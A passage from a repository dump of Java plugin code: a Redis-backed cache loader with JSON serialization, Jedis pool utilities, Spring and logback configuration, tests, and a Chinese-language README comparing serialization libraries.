return ret;\n        } catch (Exception e) {\n            log.error(\"get content for key:\" + key + \", error:\", e);\n            throw e;\n        }\n    }\n\n    public abstract <T> void saveData(String cacheKey, CacheBuilder<T> builder, T result) throws Exception;\n\n    public abstract <T> boolean needRefresh(String key, int expire, boolean autoRefresh);\n\n    @Subscribe\n    public void listenRefreshMessage(RefreshEventMessage message) {\n        try {\n            refresh(message.getKey(), message.getCacheBuilder());\n        } catch (Exception e) {\n            log.error(\"auto refresh error :\", e);\n        }\n    }\n\n    public static class RefreshEventMessage {\n        private String key;\n        private CacheBuilder<?> cacheBuilder;\n\n        public RefreshEventMessage(String key, CacheBuilder<?> cacheBuilder) {\n            super();\n            this.key = key;\n            this.cacheBuilder = cacheBuilder;\n        }\n\n        public String getKey() {\n            return key;\n        }\n\n        public void setKey(String key) {\n            this.key = key;\n        }\n\n        public CacheBuilder<?> getCacheBuilder() {\n            return cacheBuilder;\n        }\n\n        public void setCacheBuilder(CacheBuilder<?> cacheBuilder) {\n            this.cacheBuilder = cacheBuilder;\n        }\n\n    }\n\n    public Serializer getSerializer() {\n        return serializer;\n    }\n\n    public void setSerializer(Serializer serializer) {\n        this.serializer = serializer;\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_redis/src/main/java/com/jun/plugin/rediscache/loader/CacheLoader.java",
    "content": "package com.jun.plugin.rediscache.loader;\n\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Set;\n\nimport com.jun.plugin.rediscache.builder.CacheBuilder;\n\npublic interface CacheLoader {\n    <T> T get(String key, Class<T> clz, CacheBuilder<T> builder) throws Exception;\n\n    <T> List<T> getList(String key, Class<T> clz, CacheBuilder<List<T>> builder) throws Exception;\n\n    <T> Set<T> getSet(String key, Class<T> clz, CacheBuilder<Set<T>> builder) throws Exception;\n\n    <K, V> Map<K, V> getMap(String key, Class<K> keyClz, Class<V> valueClz, CacheBuilder<Map<K, V>> builder)\n            throws Exception;\n\n    <T> void refresh(final String key, final CacheBuilder<T> builder) throws Exception;\n\n    void delete(String key, CacheBuilder<?> builder) throws Exception;\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_redis/src/main/java/com/jun/plugin/rediscache/loader/RedisCacheLoader.java",
    "content": "package com.jun.plugin.rediscache.loader;\n\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Set;\n\nimport com.jun.plugin.rediscache.builder.CacheBuilder;\nimport com.jun.plugin.rediscache.serialize.Serializer;\nimport com.jun.plugin.rediscache.util.RedisUtil;\n\npublic class RedisCacheLoader extends AbstractCacheLoader {\n\n    private static final String REFRESH_SUBFIX = \".refresh_subfix\";\n    private static final String EXPIRE_SUBFIX = \".expireAt\";\n\n    private RedisUtil redisClient;\n\n    private int dbIndex = 0;\n\n    private String getCacheKey(String key, CacheBuilder<?> builder) {\n        return builder.getKeyPrefix() + key;\n    }\n\n    private byte[] getFromRedis(String key, String cacheKey, CacheBuilder<?> builder) {\n        byte[] ckBytes = cacheKey.getBytes();\n        try {\n            byte[] t = redisClient.getAndReturn(dbIndex, ckBytes);\n            return t;\n        } catch (Exception e) {\n            log.error(\"getByteFromRedis cacheKey=\" + cacheKey + \",error:\", e);\n        }\n        return null;\n    }\n\n    @Override\n    public <T> void saveData(String cacheKey, CacheBuilder<T> builder, T result) throws Exception {\n        if (null != result) {\n            byte[] t = serializer.serialize(result);\n            redisClient.setAndReturn(dbIndex, cacheKey.getBytes(), t, builder.getExpireSeconds());\n        }\n    }\n\n    @Override\n    public <T> T get(String key, Class<T> clz, CacheBuilder<T> builder) throws Exception {\n        String cacheKey = getCacheKey(key, builder);\n        T result = null;\n        byte[] t = getFromRedis(key, cacheKey, builder);\n        if (null == t) {\n            result = loadData(key, cacheKey, builder);\n        } else {\n            this.asyncEventBus.post(new RefreshEventMessage(key, builder));\n            try {\n                result = serializer.deserialize(t, clz);\n            } catch (Exception e) {\n                log.error(\"deserialize for key:\" + key + \", error:\", e);\n            }\n        }\n        return result;\n    }\n\n    @Override\n    public <T> List<T> getList(String key, Class<T> clz, CacheBuilder<List<T>> builder) throws Exception {\n        String cacheKey = getCacheKey(key, builder);\n        List<T> result = null;\n        byte[] t = getFromRedis(key, cacheKey, builder);\n        if (null == t) {\n            result = loadData(key, cacheKey, builder);\n        } else {\n            this.asyncEventBus.post(new RefreshEventMessage(key, builder));\n            try {\n                result = serializer.deserializeList(t, clz);\n            } catch (Exception e) {\n                log.error(\"deserialize for key:\" + key + \", error:\", e);\n            }\n        }\n        return result;\n    }\n\n    @Override\n    public <T> Set<T> getSet(String key, Class<T> clz, CacheBuilder<Set<T>> builder) throws Exception {\n        String cacheKey = getCacheKey(key, builder);\n        Set<T> result = null;\n        byte[] t = getFromRedis(key, cacheKey, builder);\n        if (null == t) {\n            result = loadData(key, cacheKey, builder);\n        } else {\n            refresh(key, builder);\n            try {\n                result = serializer.deserializeSet(t, clz);\n            } catch (Exception e) {\n                log.error(\"deserializeSet for key:\" + key + \", error:\", e);\n            }\n        }\n        return result;\n    }\n\n    @Override\n    public <K, V> Map<K, V> getMap(String key, Class<K> keyClz, Class<V> valueClz, CacheBuilder<Map<K, V>> builder)\n            throws Exception {\n        String cacheKey = getCacheKey(key, builder);\n        Map<K, V> result = null;\n        byte[] t = getFromRedis(key, cacheKey, builder);\n        if (null == t) {\n            result = loadData(key, cacheKey, builder);\n        } else {\n            this.asyncEventBus.post(new RefreshEventMessage(key, builder));\n            try {\n                result = serializer.deserializeMap(t, keyClz, valueClz);\n            } catch (Exception e) {\n                log.error(\"deserializeSet for key:\" + key + \", error:\", e);\n            }\n        }\n        return result;\n    }\n\n    @Override\n    public boolean needRefresh(String cacheKey, int expire, boolean autoRefresh) {\n        if (!autoRefresh) {\n            return false;\n        }\n        if (0 >= expire) {\n            return false;\n        }\n        long time = -1;\n        Long t = redisClient.ttl(dbIndex, cacheKey);\n        if (-1 == t) {\n            // 不会超时\n            return false;\n        }\n        if (-2 == t || -3 == t) {\n            // key不存在\n            return false;\n        }\n        if (null != t) {\n            time = t;\n        }\n        if (time > 0 && time <= 5) {\n            if (null != t && 1 == t) {\n                if (expire > 10) {\n                    t = redisClient.setnx(dbIndex, cacheKey + REFRESH_SUBFIX,\n                            String.valueOf(System.currentTimeMillis()), expire - 10);\n                } else {\n                    t = redisClient.setnx(dbIndex, cacheKey + REFRESH_SUBFIX,\n                            String.valueOf(System.currentTimeMillis()), expire - 2);\n                }\n                return t == 1;\n            }\n        }\n        return false;\n    }\n\n    @Override\n    public <T> void refresh(final String key, final CacheBuilder<T> builder) throws Exception {\n        String cacheKey = getCacheKey(key, builder);\n        if (!needRefresh(cacheKey, builder.getExpireSeconds(), builder.getAutoRefresh())) {\n            return;\n        }\n        if (log.isDebugEnabled()) {\n            log.debug(\"refresh of key:\" + cacheKey);\n        }\n        loadData(key, cacheKey, builder);\n    }\n\n    @Override\n    public void delete(String key, CacheBuilder<?> builder) throws Exception {\n        String cacheKey = getCacheKey(key, builder);\n        redisClient.delete(dbIndex, cacheKey);\n    }\n\n    public RedisUtil getRedisClient() {\n        return redisClient;\n    }\n\n    public void setRedisClient(RedisUtil redisClient) {\n        this.redisClient = redisClient;\n    }\n\n    public int getDbIndex() {\n        return dbIndex;\n    }\n\n    public void setDbIndex(int dbIndex) {\n        this.dbIndex = dbIndex;\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_redis/src/main/java/com/jun/plugin/rediscache/serialize/JsonSerializer.java",
    "content": "package com.jun.plugin.rediscache.serialize;\n\nimport java.text.SimpleDateFormat;\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Set;\n\nimport com.fasterxml.jackson.databind.DeserializationFeature;\nimport com.fasterxml.jackson.databind.JavaType;\nimport com.fasterxml.jackson.databind.ObjectMapper;\n\npublic class JsonSerializer implements Serializer {\n\n    private String CHARSET = \"UTF-8\";\n    private static final ObjectMapper mapper = new ObjectMapper();\n    static {\n        mapper.disable(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES); // 忽略不存在的属性\n        mapper.enable(DeserializationFeature.ACCEPT_EMPTY_STRING_AS_NULL_OBJECT);\n        mapper.setDateFormat(new SimpleDateFormat(\"yyyy-MM-dd HH:mm:ss,SSS\"));\n    }\n\n    public static String ObjToStr(Object obj) {\n        if (obj == null) {\n            throw new RuntimeException(\"Failed to map object, which is null\");\n        }\n        try {\n            return mapper.writeValueAsString(obj);\n        } catch (Exception e) {\n            String msg = String.format(\"Failed to map object {}\", obj);\n            throw new RuntimeException(msg, e);\n        }\n    }\n\n    public static <T> T strToObj(String jsonStr, Class<T> type) {\n        try {\n            return mapper.readValue(jsonStr, type);\n        } catch (Exception e) {\n            String msg = String.format(\"Failed to parse json %s\", jsonStr);\n            throw new RuntimeException(msg, e);\n        }\n    }\n\n    public String getCHARSET() {\n        return CHARSET;\n    }\n\n    public void setCHARSET(String cHARSET) {\n        CHARSET = cHARSET;\n    }\n\n    @Override\n    public byte[] serialize(Object o) throws Exception {\n        return ObjToStr(o).getBytes(CHARSET);\n    }\n\n    @Override\n    public String serializeToString(Object o) throws Exception {\n        return ObjToStr(o);\n    }\n\n    private String getString(byte[] buf) throws Exception {\n        return new String(buf, CHARSET);\n    }\n\n    @Override\n    public <T> T deserialize(byte[] buf, Class<T> clz) throws Exception {\n        return strToObj(getString(buf), clz);\n    }\n\n    @Override\n    public <T> List<T> deserializeList(byte[] buf, Class<T> clz) throws Exception {\n        return deserializeList(getString(buf), clz);\n    }\n\n    @Override\n    public <T> Set<T> deserializeSet(byte[] buf, Class<T> clz) throws Exception {\n        return deserializeSet(getString(buf), clz);\n    }\n\n    @Override\n    public <K, V> Map<K, V> deserializeMap(byte[] buf, Class<K> keyClz, Class<V> valueClz) throws Exception {\n        return deserializeMap(getString(buf), keyClz, valueClz);\n    }\n\n    @Override\n    public <T> T deserialize(String content, Class<T> clz) throws Exception {\n        return strToObj(content, clz);\n    }\n\n    @Override\n    public <T> List<T> deserializeList(String content, Class<T> clz) throws Exception {\n        JavaType type = mapper.getTypeFactory().constructCollectionType(ArrayList.class, clz);\n        return mapper.readValue(content, type);\n    }\n\n    @Override\n    public <T> Set<T> deserializeSet(String content, Class<T> clz) throws Exception {\n        JavaType type = mapper.getTypeFactory().constructCollectionLikeType(ArrayList.class, clz);\n        return mapper.readValue(content, type);\n    }\n\n    @Override\n    public <K, V> Map<K, V> deserializeMap(String content, Class<K> keyClz, Class<V> valueClz) throws Exception {\n        JavaType type = mapper.getTypeFactory().constructMapType(HashMap.class, keyClz, valueClz);\n        return mapper.readValue(content, type);\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_redis/src/main/java/com/jun/plugin/rediscache/serialize/Serializer.java",
    "content": "package com.jun.plugin.rediscache.serialize;\n\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Set;\n\npublic interface Serializer {\n    byte[] serialize(Object o) throws Exception;\n\n    String serializeToString(Object o) throws Exception;\n\n    <T> T deserialize(byte[] buf, Class<T> clz) throws Exception;\n\n    <T> List<T> deserializeList(byte[] buf, Class<T> clz) throws Exception;\n\n    <T> Set<T> deserializeSet(byte[] buf, Class<T> clz) throws Exception;\n\n    <K, V> Map<K, V> deserializeMap(byte[] buf, Class<K> keyClz, Class<V> valueClz) throws Exception;\n\n    <T> T deserialize(String content, Class<T> clz) throws Exception;\n\n    <T> List<T> deserializeList(String content, Class<T> clz) throws Exception;\n\n    <T> Set<T> deserializeSet(String content, Class<T> clz) throws Exception;\n\n    <K, V> Map<K, V> deserializeMap(String content, Class<K> keyClz, Class<V> valueClz) throws Exception;\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_redis/src/main/java/com/jun/plugin/rediscache/util/RedisUtil.java",
    "content": "package com.jun.plugin.rediscache.util;\n\nimport redis.clients.jedis.Jedis;\nimport redis.clients.jedis.JedisPool;\n\npublic class RedisUtil {\n\n    private JedisPool masterPool;\n    private JedisPool slavePool;\n\n    public JedisPool getMasterPool() {\n        return masterPool;\n    }\n\n    public JedisPool getSlavePool() {\n        return slavePool;\n    }\n\n    public void setMasterPool(JedisPool masterPool) {\n        this.masterPool = masterPool;\n    }\n\n    public void setSlavePool(JedisPool slavePool) {\n        this.slavePool = slavePool;\n    }\n\n    public byte[] getAndReturn(int dbIndex, final byte[] key) {\n        Jedis jedis = null;\n        JedisPool jedisPool = null == slavePool ? masterPool : slavePool;\n        try {\n            jedis = jedisPool.getResource();\n            if (dbIndex != 0) {\n                jedis.select(dbIndex);\n            }\n            return jedis.get(key);\n        } catch (Exception e) {\n            jedisPool.returnBrokenResource(jedis);\n            jedis = null;\n            throw e;\n        } finally {\n            if (jedis != null) {\n                jedisPool.returnResource(jedis);\n            }\n        }\n    }\n\n    public String setAndReturn(int dbIndex, final byte[] key, byte[] value, int seconds) {\n        Jedis jedis = null;\n        JedisPool jedisPool = null;\n        try {\n            jedisPool = masterPool;\n            jedis = jedisPool.getResource();\n\n            if (dbIndex != 0) {\n                jedis.select(dbIndex);\n            }\n            return jedis.setex(key, seconds, value);\n        } catch (Exception e) {\n            jedisPool.returnBrokenResource(jedis);\n            jedis = null;\n            throw e;\n        } finally {\n            if (jedis != null) {\n                jedisPool.returnResource(jedis);\n            }\n        }\n    }\n    \n    /**\n     * \n     * @param dbIndex\n     * @param key\n     * @return -2 key not exists ; -1 not timeout\n     */\n    public Long ttl(int dbIndex, String key) {\n        long time = -3;\n        JedisPool pool = masterPool;\n        Jedis jedis = null;\n        try {\n            jedis = pool.getResource();\n            jedis.select(dbIndex);\n            time = jedis.ttl(key);\n        } catch (Exception e) {\n            if (null != jedis) {\n                pool.returnBrokenResource(jedis);\n                jedis = null;\n            }\n            throw e;\n        } finally {\n            if (null != jedis) {\n                pool.returnResource(jedis);\n            }\n        }\n        return time;\n    }\n\n    public long setnx(int dbIndex, String key, String value,int expire) {\n        long result = 0;\n        JedisPool pool = masterPool;\n        Jedis jedis = null;\n        try {\n            jedis = pool.getResource();\n            jedis.select(dbIndex);\n            result = jedis.setnx(key, value);\n            if(1 == result){\n                jedis.expire(key, expire);\n            }\n        } catch (Exception e) {\n            if (null != jedis) {\n                pool.returnBrokenResource(jedis);\n                jedis = null;\n            }\n            throw e;\n        } finally {\n            if (null != jedis) {\n                pool.returnResource(jedis);\n            }\n        }\n        return result;\n    }\n\n    public void delete(int dbIndex, String key) {\n        Jedis jedis = null;\n        try {\n            jedis = masterPool.getResource();\n            jedis.select(dbIndex);\n            jedis.del(key);\n        } catch (Exception e) {\n            if (null != jedis) {\n                masterPool.returnBrokenResource(jedis);\n                jedis = null;\n            }\n            throw e;\n        } finally {\n            if (null != jedis) {\n                masterPool.returnResource(jedis);\n            }\n        }\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_redis/src/main/resources/config/redis.properties",
    "content": "redis.host=127.0.0.1\nredis.port=6379\nredis.timeout=15000\nredis.usePool=true\n\nredis.maxTotal=10\nredis.maxIdle=6\nredis.minIdle=2\nredis.maxWaitMillis=15000\nredis.minEvictableIdleTimeMillis=300000\nredis.numTestsPerEvictionRun=3\nredis.timeBetweenEvictionRunsMillis=60000\nredis.testOnBorrow=true\nredis.testOnReturn=true\nredis.testWhileIdle=true"
  },
  {
    "path": "jun_java_plugins/jun_redis/src/main/resources/config/spring-context.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<beans xmlns=\"http://www.springframework.org/schema/beans\"\n       xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:context=\"http://www.springframework.org/schema/context\"\n       xmlns:p=\"http://www.springframework.org/schema/p\"\n       xsi:schemaLocation=\"http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd\n        http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context.xsd\">\n\n    <context:component-scan base-package=\"com.jun.plugin.redis\" />\n\n</beans>"
  },
  {
    "path": "jun_java_plugins/jun_redis/src/main/resources/config/spring-redis-single.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<beans xmlns=\"http://www.springframework.org/schema/beans\"\n       xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:context=\"http://www.springframework.org/schema/context\"\n       xmlns:p=\"http://www.springframework.org/schema/p\"\n       xsi:schemaLocation=\"http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd\n        http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context.xsd\">\n\n    <context:property-placeholder location=\"classpath:/config/redis.properties\" />\n\n    <bean id=\"jedisPoolConfig\" class=\"redis.clients.jedis.JedisPoolConfig\">\n        <property name=\"maxTotal\" value=\"${redis.maxTotal}\" />\n        <property name=\"maxIdle\" value=\"${redis.maxIdle}\" />\n        <property name=\"minIdle\" value=\"${redis.minIdle}\" />\n        <property name=\"maxWaitMillis\" value=\"${redis.maxWaitMillis}\" />\n        <property name=\"minEvictableIdleTimeMillis\" value=\"${redis.minEvictableIdleTimeMillis}\" />\n        <property name=\"numTestsPerEvictionRun\" value=\"${redis.numTestsPerEvictionRun}\" />\n        <property name=\"timeBetweenEvictionRunsMillis\" value=\"${redis.timeBetweenEvictionRunsMillis}\" />\n        <property name=\"testOnBorrow\" value=\"${redis.testOnBorrow}\" />\n        <property name=\"testOnReturn\" value=\"${redis.testOnReturn}\" />\n        <property name=\"testWhileIdle\" value=\"${redis.testWhileIdle}\" />\n    </bean>\n\n    <bean id=\"jedisConnectionFactory\"\n          class=\"org.springframework.data.redis.connection.jedis.JedisConnectionFactory\"\n          destroy-method=\"destroy\"\n          p:host-name=\"${redis.host}\"\n          p:port=\"${redis.port}\"\n          p:usePool=\"${redis.usePool}\"\n          p:timeout=\"${redis.timeout}\"\n          p:pool-config-ref=\"jedisPoolConfig\">\n    </bean>\n\n    <!-- 处理缓存数据的模板类 -->\n    <bean id=\"redisTemplate\" class=\"org.springframework.data.redis.core.RedisTemplate\"\n          p:connection-factory-ref=\"jedisConnectionFactory\">\n        <property name=\"keySerializer\">\n            <bean class=\"org.springframework.data.redis.serializer.StringRedisSerializer\" />\n        </property>\n        <property name=\"hashKeySerializer\">\n            <bean class=\"org.springframework.data.redis.serializer.StringRedisSerializer\" />\n        </property>\n        <property name=\"valueSerializer\">\n            <bean class=\"org.springframework.data.redis.serializer.JdkSerializationRedisSerializer\" />\n        </property>\n        <property name=\"hashValueSerializer\">\n            <bean class=\"org.springframework.data.redis.serializer.JdkSerializationRedisSerializer\" />\n        </property>\n\n    </bean>\n\n    <!-- 处理字符串的模板类 -->\n    <bean id=\"stringRedisTemplate\" class=\"org.springframework.data.redis.core.StringRedisTemplate\"\n          p:connection-factory-ref=\"jedisConnectionFactory\" />\n\n</beans>"
  },
  {
    "path": "jun_java_plugins/jun_redis/src/main/resources/logback.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<configuration debug=\"true\" scan=\"false\">\n\n\t<appender name=\"STDOUT\" class=\"ch.qos.logback.core.ConsoleAppender\">\n\t\t<encoder>\n\t\t\t<charset>UTF-8</charset>\n\t\t\t<pattern>%date [%thread] [%level %logger{0}:%line] - %msg%n\n\t\t\t</pattern>\n\t\t</encoder>\n\t</appender>\n\n\t<root level=\"DEBUG\">\n\t\t<appender-ref ref=\"STDOUT\" />\n\t</root>\n</configuration>"
  },
  {
    "path": "jun_java_plugins/jun_redis/src/main/webapp/WEB-INF/web.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<web-app xmlns=\"http://xmlns.jcp.org/xml/ns/javaee\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd\"\n         version=\"3.1\">\n</web-app>"
  },
  {
    "path": "jun_java_plugins/jun_redis/src/main/webapp/index.jsp",
    "content": "<%--\n  Created by IntelliJ IDEA.\n  User: Administrator\n  Date: 2017/11/7\n  Time: 10:13\n  To change this template use File | Settings | File Templates.\n--%>\n<%@ page contentType=\"text/html;charset=UTF-8\" language=\"java\" %>\n<html>\n  <head>\n    <title>$Title$</title>\n  </head>\n  <body>\n  $END$\n  </body>\n</html>\n"
  },
  {
    "path": "jun_java_plugins/jun_redis/src/test/java/RedisServiceTest.java",
    "content": "import org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.test.context.ContextConfiguration;\nimport org.springframework.test.context.junit4.SpringJUnit4ClassRunner;\n\nimport com.jun.plugin.redis.service.RedisService;\n\n/**\n * Created by Administrator on 2017/11/7.\n */\n@RunWith(SpringJUnit4ClassRunner.class)\n@ContextConfiguration({\"classpath:/config/spring-context.xml\",\n        \"classpath:/config/spring-redis-single.xml\"})\npublic class RedisServiceTest {\n\n    @Autowired\n    private RedisService redisService;\n\n    @Test\n    public void testRedis() {\n        redisService.getById(1);\n    }\n\n    @Test\n    public void testRedisList() {\n        redisService.listAll();\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_redis/src/test/java/com/jun/plugin/rediscache/test/TestCache.java",
    "content": "package com.jun.plugin.rediscache.test;\n\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.concurrent.Callable;\nimport java.util.concurrent.CountDownLatch;\nimport java.util.concurrent.ExecutorService;\nimport java.util.concurrent.Executors;\nimport java.util.concurrent.Future;\n\nimport com.jun.plugin.rediscache.builder.AbstractCacheBuilder;\nimport com.jun.plugin.rediscache.builder.CacheBuilder;\nimport com.jun.plugin.rediscache.builder.CacheBuilderFactory;\nimport com.jun.plugin.rediscache.loader.RedisCacheLoader;\nimport com.jun.plugin.rediscache.serialize.JsonSerializer;\nimport com.jun.plugin.rediscache.util.RedisUtil;\n\nimport redis.clients.jedis.JedisPool;\n\npublic class TestCache {\n\n    private RedisUtil redisUtil;\n    private RedisCacheLoader cacheLoader;\n\n    private CacheBuilder<Long> cacheBuilder = CacheBuilderFactory.newBuilder().autoRefresh(true).expireSeconds(30)\n            .keyPrefix(\"Test\").loadingMutex(true).build(new AbstractCacheBuilder<Long>() {\n\n                @Override\n                public Long buildIntern(String key) throws Exception {\n                    Long tmp = Long.valueOf(key);\n                    return tmp + (long) (Math.random() * 100000);\n                }\n\n            });\n\n    public TestCache() {\n        redisUtil = new RedisUtil();\n        JedisPool master = new JedisPool(\"127.0.0.1\", 6379);\n        JedisPool slave = new JedisPool(\"127.0.0.1\", 6380);\n        redisUtil.setMasterPool(master);\n        redisUtil.setSlavePool(slave);\n        cacheLoader = new RedisCacheLoader();\n        cacheLoader.setRedisClient(redisUtil);\n        cacheLoader.setSerializer(new JsonSerializer());\n    }\n\n    public Long test(String key) throws Exception {\n        return cacheLoader.get(key, Long.class, cacheBuilder);\n    }\n\n    public static void main(String[] args) throws Exception {\n        final TestCache testCache = new TestCache();\n        final CountDownLatch start = new CountDownLatch(1);\n        ExecutorService threadPool = Executors.newFixedThreadPool(3);\n        List<Future<Long>> resultFuture = new ArrayList<>();\n\n        for (int i = 0; i < 3; i++) {\n            resultFuture.add(threadPool.submit(new Callable<Long>() {\n\n                @Override\n                public Long call() throws Exception {\n                    start.await();\n                    long start = System.nanoTime();\n                    for (int i = 0; i < 1000000; i++) {\n                        if(testCache.test(String.valueOf(i % 3))==null){\n                            return -1L;\n                        }\n                    }\n                    return System.nanoTime() - start;\n\n                }\n\n            }));\n            start.countDown();\n        }\n        for (Future<Long> f : resultFuture) {\n            System.out.println(f.get() / 1000000.0);\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_serialization/README.md",
    "content": "# 序列化和反序列化实现\n\n* [JDK方式](https://github.com/lgjlife/serialization/blob/master/src%2Fmain%2Fjava%2Fcom%2Futils%2Fserialization%2FJdkSerializeUtil.java)\n* [Fastjson方式](https://github.com/lgjlife/serialization/blob/master/src%2Fmain%2Fjava%2Fcom%2Futils%2Fserialization%2FFastjsonSerializeUtil.java)\n```XML\n<!-- https://mvnrepository.com/artifact/com.alibaba/fastjson -->\n<dependency>\n    <groupId>com.alibaba</groupId>\n    <artifactId>fastjson</artifactId>\n    <version>1.2.56</version>\n</dependency>\n```\n* [Protostuff方式](https://github.com/lgjlife/serialization/blob/master/src%2Fmain%2Fjava%2Fcom%2Futils%2Fserialization%2FProtostuffSerializeUtil.java)\n```XML\n<!-- https://mvnrepository.com/artifact/io.protostuff/protostuff-core -->\n<dependency>\n    <groupId>io.protostuff</groupId>\n    <artifactId>protostuff-core</artifactId>\n    <version>1.6.0</version>\n    <scope>test</scope>\n</dependency>\n\n\n\n<!-- https://mvnrepository.com/artifact/io.protostuff/protostuff-runtime -->\n<dependency>\n    <groupId>io.protostuff</groupId>\n    <artifactId>protostuff-runtime</artifactId>\n    <version>1.6.0</version>\n</dependency>\n```\n* [Hessian方式](https://github.com/lgjlife/serialization/blob/master/src%2Fmain%2Fjava%2Fcom%2Futils%2Fserialization%2HessianSerializeUtil.java)\n```XML\n<!-- https://mvnrepository.com/artifact/com.caucho/hessian -->\n<dependency>\n    <groupId>com.caucho</groupId>\n    <artifactId>hessian</artifactId>\n    <version>4.0.60</version>\n</dependency>\n```\n# 使用事例\n\n* 定义pojo\n如果使用JDK方式，还需要实现Serializable接口\n```java\n\n@Data\n@Builder\npublic class model.User implements Serializable {\n\n    private  String  name;\n    private  int age;\n}\n\n```\n\n```java\nmodel.User user = model.User.builder().name(\"用户\"+i).age(i).build();\nprivate AbstractSerialize  serialize = new ProtostuffSerializeUtil();\nbyte[] body = serialize.serialize(msg);\nmodel.User user1 = serialize.deserialize(body,model.User.class);\n\n\n\n```\n## 测试\n[测试类](https://github.com/lgjlife/serialization/blob/master/src%2Fmain%2Fjava%2Fcom%2Futils%2Ftest%2FSerializeTest.java)\n\n综合来看,hessian 的效率是比较高的。fastjson效率相对偏低。\n```java\n序列化对象类：java.util.ArrayList  序列化类：com.utils.serialization.JdkSerializeUtil  序列化花费时间：369 字节长度 =  788948\n序列化对象类：java.util.ArrayList  序列化类：com.utils.serialization.FastjsonSerializeUtil  序列化花费时间：417 字节长度 =  788891\n序列化对象类：java.util.ArrayList  序列化类：com.utils.serialization.HessianSerializeUtil  序列化花费时间：242 字节长度 =  788897\n\n序列化对象类：java.util.HashMap  序列化类：com.utils.serialization.JdkSerializeUtil  序列化花费时间：284 字节长度 =  1577862\n序列化对象类：java.util.HashMap  序列化类：com.utils.serialization.FastjsonSerializeUtil  序列化花费时间：393 字节长度 =  1577781\n序列化对象类：java.util.HashMap  序列化类：com.utils.serialization.HessianSerializeUtil  序列化花费时间：184 字节长度 =  1577785\n\n序列化对象类：com.utils.pojo.TestPojo  序列化类：com.utils.serialization.JdkSerializeUtil  序列化花费时间：21 字节长度 =  977\n序列化对象类：com.utils.pojo.TestPojo  序列化类：com.utils.serialization.FastjsonSerializeUtil  序列化花费时间：58 字节长度 =  1192\n序列化对象类：com.utils.pojo.TestPojo  序列化类：com.utils.serialization.HessianSerializeUtil  序列化花费时间：4 字节长度 =  1319\n序列化对象类：com.utils.pojo.TestPojo  序列化类：com.utils.serialization.ProtostuffSerializeUtil  序列化花费时间：67 字节长度 =  825\n\n```"
  },
  {
    "path": "jun_java_plugins/jun_serialization/guava.md",
    "content": "\n        ImmutableList<String> list = ImmutableList.of(\"1\", \"2\");\n        List lists = Lists.newArrayList(\"abc\",\"abcd\",\"123\");\n        System.err.println(Joiner.on(\",\").join(lists));\n        Map map = Maps.newHashMap();\n        Set set = Sets.newHashSet(\"1\", \"2\");\n        ImmutableMap<String, String> map2 = ImmutableMap.of(\"key1\", \"value1\", \"key2\", \"value2\");\n        System.err.println(Joiner.on(\",\").withKeyValueSeparator(\"=\").join(map2));\n//        System.err.println(map2.get(\"key2\"));\n//        map.forEach((key,value)->{System.out.println(key+\"\"+value);});\n       \n        Multimap<String, String> m = ArrayListMultimap.create();\n        m.put(\"a\", \"1\");\n        m.put(\"a\", \"2\");\n        m.forEach((key,value)->{System.out.println(key+\"-\"+value);});\n//        System.err.println(m.get(\"a\"));\n       \n        Stopwatch sw = Stopwatch.createStarted();\n        String str = \"1-2-3-4-5-6\";\n        System.err.println(Splitter.on(\"-\").splitToList(str));\n        String str2 = \"xiaoming=11,xiaohong=23\";\n        System.err.println(Splitter.on(\",\").withKeyValueSeparator(\"=\").split(str2));\n        Strings.isNullOrEmpty(\"\");\n//        List<String> list = Splitter.on(\"-\").splitToList(str);\n        long time = sw.elapsed(TimeUnit.MILLISECONDS);\n        System.err.println(time);\n        Thread.currentThread().sleep(500);\n        time = sw.elapsed(TimeUnit.MILLISECONDS);\n        System.err.println(time);"
  },
  {
    "path": "jun_java_plugins/jun_serialization/pom.xml",
